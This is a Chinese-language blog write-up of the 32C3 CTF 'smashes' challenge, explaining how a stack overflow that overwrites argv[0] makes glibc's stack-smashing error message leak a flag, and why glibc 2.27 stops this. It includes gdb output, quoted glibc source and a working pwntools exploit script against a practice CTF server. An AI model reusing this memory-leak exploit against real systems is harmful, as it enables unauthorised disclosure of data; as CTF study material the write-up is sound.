• Home
  • About
    • Rhy7hm photo

      Rhy7hm

      天天被计算机教做人

    • Learn More
    • Email
  • Posts
    • All Posts
    • All Tags
  • Projects

来来来,我们来聊聊ctfwiki上的stack-smash

03 Sep 2018

Reading time ~1 minute

Stack Smashing Protector (SSP):__fortify_fail ->__fortify_fail_abort

ctfwiki上的一道例题32C3 CTF smashes https://ctf-wiki.github.io/ctf-wiki/pwn/stackoverflow/others/#stack-smash

这个姿势很有意思,通过canary保护的报错来leak出我们想要的信息。

报错时会调用以下函数:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}



void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

直接会输出错误信息。

具体的原理和操作可以看ctfwiki或者直接搜32C3 CTF smashes的WP

然而我复现的时候发现在自己的虚拟机上只会输出 Alt text

查了资料发现和libc有关(?)

用的libc-2.27.so Alt text

原因是我的__stack_chk_fail是这样的:

gdb-peda$ disassemble  __stack_chk_fail
Dump of assembler code for function __stack_chk_fail:
   0x00007ffff7eec450 <+0>:	lea    rsi,[rip+0x78be8]        # 0x7ffff7f6503f
   0x00007ffff7eec457 <+7>:	sub    rsp,0x8
   0x00007ffff7eec45b <+11>:	xor    edi,edi
   0x00007ffff7eec45d <+13>:	call   0x7ffff7eec470 <__GI___fortify_fail_abort>

它没有使用__fortify_fail,而是使用了fortify_fail_abort来防止argv [0]的泄露。

fortify_fail_abort是这样的

__fortify_fail_abort (_Bool need_backtrace, const char *msg)
{
  /* The loop is added only to keep gcc happy.  Don't pass down
     __libc_argv[0] if we aren't doing backtrace since __libc_argv[0]
     may point to the corrupted stack.  */
  while (1)
    __libc_message (need_backtrace ? (do_abort | do_backtrace) : do_abort,
                    "*** %s ***: %s terminated\n",
                    msg,
                    (need_backtrace && __libc_argv[0] != NULL
                     ? __libc_argv[0] : "<unknown>"));
}
//https://code.woboq.org/userspace/glibc/debug/fortify_fail.c.html#40

可见,wihile循环里,__libc_message的第一个参数从2变成了 need_backtrace ? (do_abort | do_backtrace) : do_abort

其中do_abort和do_backtrace分别是1和2,定义如下

enum __libc_message_action
{
  do_message        = 0,                /* Print message.  */
  do_abort        = 1 << 0,        /* Abort.  */ 
  do_backtrace        = 1 << 1        /* Backtrace.  */
};

就是取消了默认回溯->报错信息显示argv [0]这样子。

想用centos做,反正我centos的libc比较……古老

Alt text

确实也能够leak出程序名(?)

Alt text

但是centos没有pwntools也懒得装

直接怼远程试试好了

先找buf到argv[0]的偏移,直接r然后输入个ABC然后第二次输入那里ctrl+C终端看此时的栈。

Alt text

buf:0x7fffffffdf60
argv[0]:0x7fffffffe0a8 --> 0x7fffffffe178 --> 0x7fffffffe463 ("/root/Desktop/wiki/smashes")

hex(0x7fffffffe178 - 0x7fffffffdf60) = 0x218L

和ctf上描述的相符

然后find CTF 找到flag_addr

得到exp如下:

from pwn import *

context.log_level = 'debug'

io  = remote('pwn.jarvisoj.com', 9877)

flag_addr = 0x400d21


pattern = 'A'*0x218

payload = pattern + p64(flag_addr)


io.sendlineafter('name?',payload)

io.sendlineafter('flag:','')
io.interactive()

没成。

然后这里还有一个坑

……啊这里是64位的程序要用p64而不是p32,做32x做傻了。

还有一个就是

Alt text

然而用的应该是0x400d20不然会少一个字母(。)

所以改下这两个地方就可以了。

以为会遇到

设置环境变量LIBC_FATAL_STDERR_=1才能实现将标准错误信息通过管道输出到远程shell中

的坑然而并没有。 这个坑这里有说: https://blog.csdn.net/happyorange2014/article/details/50459201

以上

参考:

1.https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/4.12_stack_chk_fail.html

2.https://qiita.com/sei0o/items/55db337b0829367a2052

3.http://site.pi3.com.pl/papers/ASSP.pdf

看第三个链接可以i意思意思继续深入了解一下SSP,里面介绍了不少和SSP相关的一些攻击。



pwnctfwikiSSPstackCTF Share Tweet +1